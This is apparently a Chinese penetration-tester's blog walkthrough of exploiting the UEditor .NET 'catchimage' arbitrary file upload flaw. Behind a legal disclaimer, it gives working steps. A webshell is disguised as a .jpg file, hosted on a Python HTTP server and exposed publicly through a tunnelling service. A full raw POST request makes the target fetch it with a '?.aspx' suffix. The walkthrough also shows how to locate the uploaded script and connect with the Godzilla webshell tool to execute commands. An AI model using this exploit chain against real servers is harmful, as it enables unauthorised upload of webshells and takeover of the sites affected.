Ueditor文件上传漏洞&&简易外网可访问服务器搭建

        文章中涉及的敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行承担！

        某天，啪的一下，很快啊，领导微信丢过来几篇Ueditor文件上传的漏洞要求验证一下。我：什么？啥？作为刚入行不到一年的小白中的小白来说，咱没见过这漏洞啊，于是只好在网上各种翻文章。

        大概是漏洞比较久远的关系吧，我没找到一篇写的和很详细的文章，都是只告诉说Python搭个服务器放进去个图片马然后巴拉巴拉的，然后呢？关键步骤呢？Python搭的服务器是局域网啊哥，你公网咋访问啊？再就是人家土豪直接把图片马放到自己的云服务器上的，无奈，于是我开始了各种方法尝试搭建不花钱（贫穷）的临时简易服务器用来验证漏洞。

        万幸是找到了，不然也不会有这篇文章了。。。

        这里就不教如何搭环境了，别的博主写的很详细了，而且我验证的实战环境，也不用搭，别学我，我有授权的，未经允许进行渗透测试是违法的哦。

        扯远了，说回这个漏洞，原理是通过文件写入的方式把木马写入服务器，又因为Ueditor校验只校验了后缀，所以其实不用做图片马，后缀改成jpg就行。

        这个漏洞最简单的验证方法就是直接通过burp发包，也不用搞什么html，先说服务器的问题。

1.做一个木马文件出来，后缀是.jpg，样子如图

2.然后在木马所在的文件夹打开cmd，可以直接在文件夹上面的地址栏里面直接输入cmd然后回车就行，因为Python的简易服务器就是以你执行命令所在的文件夹为根目录的，所以必须在这个文件夹。

3.运行命令，9090是端口，记的不要用8080，不然burp内置浏览器会出问题的。

Python -m http.server 9090

4.然后可以在浏览器验证一下，出现跟下图一样就成功了。链接：http://127.0.0.1:9090/

5.然后下载一个cpolar，安装直接一直下一步就行，这里就不贴图了，要注册账号，后面要用的。官网链接：cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站

6.安装完成后访问http://127.0.0.1:9200/，用上一步注册的账号登录即可，登录之后直接在隧道管理里面创建隧道即可，端口要和你启动Python服务器的端口一致，其他都默认就行。

7.完成后在状态-在线隧道列表里面就能看到了，随便访问一个公网地址就行了

8.验证截图

9.到这工作已经完成大半了，之前说过验证这个漏洞最简单的方法就是发包，数据包我直接借用如下链接的大佬文章里面的。链接：UEditor 任意文件上传漏洞
 

POST /Utility/UEditor/index?action=catchimage HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="100", "Chromium";v="100", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx

10.然后就是紧张刺激的发包传马了，哦，对，还没说怎么初步检验是否存在漏洞，拼接url：http://ip:port/UEditor/net/controller.ashx?action=catchimage。出现下图，证明可能存在漏洞。

11.把source[]=后面的链接换成上面搭好的服务器的公网访问地址，然后后面加上?.aspx，然后如图的返回包就是上传成功了，框起来的部分就是地址，拼接之后大概是这样的链接：http://ip:port/Utility/UEditor/upload/image/22222222/22222222222222222222.aspx

12.然后用我最爱的webshell工具哥斯拉链接一下，bingo，链接成功！

13.链接成功后木马的位置参数在基础信息这里。

14.执行命令也成功了，好耶！